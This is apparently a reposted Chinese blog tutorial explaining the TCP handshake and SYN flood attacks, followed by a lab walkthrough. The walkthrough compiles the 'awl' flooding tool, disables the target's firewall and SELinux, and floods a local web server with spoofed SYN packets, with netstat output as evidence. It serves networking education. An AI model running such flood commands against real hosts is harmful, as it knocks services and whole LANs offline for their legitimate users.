TCP三次握手之-awl工具-SYN洪水攻击

一、TCP三次握手

1.1 TCP报文段的头部格式

1.1.1  报文格式

TCP三次握手之-awl工具-SYN洪水攻击

1.1.2  部分报文内容

  • ACK:TCP协议规定,只有ack=1时,有效,也规定连接建立后,所有发送的报文ack必须为1。
  • SYN :在连接建立时用来同步序列号,当SYN=1,而ACK=0时,表明这是一个连接请求报文,对*同意建立连接,则应在响应报文中使SYS=1,和ACK=1,因此,SYN置1,就表示这是一个连接请求或连接接受报文。
  • FIN 终结,用来释放一个连接,当FIN=1,表明此报文段的发送方数据已经发送完毕,并要求释放连接

1.2  三次握手流程

建立tcp 连接是的tcp三次握手,断开tcp 连接的四次挥手

三次握手过程:

  • Client:我可以给你发数据吗
  • Server:可以
  • Client:好的,知道了

TCP三次握手之-awl工具-SYN洪水攻击

二、syn-洪水攻击

2.1 概念

  网站被攻击多次,其中最猛烈的就是TCP洪水攻击,即SYN Flood。

  SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒的IP或IP号段发来海量的请求连接的第一个握手包(SYN包),被攻击服务器回应第二个握手包(SYN+ACK包),因为对方是假冒IP,对方永远收不到包且不会回应第三个握手包。导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。

2.2 原理

  • SYN 洪水攻击的过程:

  在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的端,那么服务端需要耗费一定的数量的系统内存来等待这个未决的连接。直到等待关闭超时,一般是等待30~40s,并且可以重传5,才能释放连接。

  • 如果恶意者通过IP 欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接,并占用大量内存和tcp 连接,从而导致客户端无法访问服务端,这就是SYN洪水攻击的过程。

2.2 模拟攻击

2.2.1 上传安装包

 

1 [root@localhost ~]# cd /usr/src/
2 [root@localhost src]# ls awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz

 

2.2.2 解压、编译安装

 

 

[root@localhost src]# tar -zxvf awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz

[root@localhost ~]# cd /usr/src/awl-0.2/
[root@localhost awl-0.2]# ./configure #检查安装环境

[root@localhost awl-0.2]# make -j 1

[root@localhost awl-0.2]# make install

[root@localhost ~]# awk awl
[root@localhost ~]# which awl #查看安装的位置
/usr/local/bin/awl

 

2.2.3 开始实战

[root@localhost ~]#

  • 开始攻击
    • awl 使用参数:
    • 发送包的接口,如果省略默认是 eth 0
    • -m 指定目标mac,如果-m 没有指定mac,默认目标mac 就是FF.FF.FF.FF.FF.FF
    • 全 F 就是向同以往段所有主机发出arp 广播,进行SYN攻击,还容易使整个局域网瘫痪
    • -d 被攻击的主机ip
    • -p 被攻击的主机端口
  • 配置服务端
    [root@localhost ~]# yum -y install httpd
    [root@localhost ~]# systemctl start httpd
    [root@localhost ~]# getenforce #关闭selinux
    Disabled
    [root@localhost ~]# systemctl stop firewalld #关闭防火墙
    [root@localhost ~]#
    [root@localhost ~]# iptables -F
    [root@localhost ~]#
    当我们安装好后,过滤端口,发现默认只有一个80.
    [root@localhost ~]#
    [root@localhost ~]# netstat -antup |grep 80
    tcp6 0 0 :::80 ::: LISTEN 1412/httpd

 

 

  • 客户端发起攻击

[root@localhost ~]# arp -n # 查看arp 缓存,如果没有看到167 的ip ,说明没有产生连接,可以使用167 ssh 到121 ,然后退出,再次查看。

[root@localhost ~]# awl -i ens33 -m 00:0c:29:3a:6a:7b -d 192.168.43.167 -p 80
注意:默数几秒,ctrl +C停止操作,在去过滤167httpd服务

[root@localhost ~]# netstat -antup |grep 80
tcp 0 0 192.168.43.167:80 62.106.87.42:18854 SYN_RECV -
tcp 0 0 192.168.43.167:80 33.252.16.75:40378 SYN_RECV -
tcp 0 0 192.168.43.167:80 40.8.124.43:56068 SYN_RECV -
tcp 0 0 192.168.43.167:80 79.61.217.54:63452 SYN_RECV -
tcp 0 0 192.168.43.167:80 240.6.234.16:35346 SYN_RECV -
……
会发现产生大量未知的ip地址,并且连接状态为 SYN-RECV---- 在收到和发送一个连接请求后等待对方连接请求的确认

2.2.4 小结

 

 

 

  • tcp 三从握手,提供可靠连接
  • udp 支持vxlan ,用于OpenStack 私有云、vlan 不够用
  • 如果编译出现以下问题:
    • configure: error:no acceptable C compiler found in $PATH
  • 解决:熟悉tcp 三次握手协议
    • yum -y install gcc-c++
  • 熟悉tcp 三次握手协议

 

 

 

 

参考文章

https://blog.csdn.net/weixin_42313749/article/details/104686758

 

TCP三次握手之-awl工具-SYN洪水攻击

上一篇:JVM深入理解(五)-锁


下一篇:1237:求排列的逆序数